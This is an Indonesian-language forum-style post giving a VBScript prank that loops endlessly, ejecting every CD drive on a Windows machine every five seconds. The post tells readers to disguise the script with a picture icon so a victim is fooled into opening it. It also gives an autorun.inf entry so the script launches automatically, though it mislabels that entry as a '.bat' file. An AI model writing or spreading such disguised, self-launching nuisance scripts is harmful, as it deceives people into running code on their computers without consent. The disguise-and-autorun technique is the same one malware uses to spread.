Mengeject CD-Drive Terus Menerus

File **.VBS :

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0

to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000 //Bisa d tambah ato dkurangin
loop

KOPAS script diatas di notepad dan save as dgn "sesukamu.VBS” ddan biar lebih meyakinkan anda dapat mengganti icon file anda menjadi icon yg anda suka seperti GAMBAR .. .
klo perlu anda juga bsa mem buat autorun.inf agar scrip d atas berjalan scara otomatis.. .

File **.bat :

[autorun]
open=sesukamu.vbs

and save as menggunakan autoran.inf ==>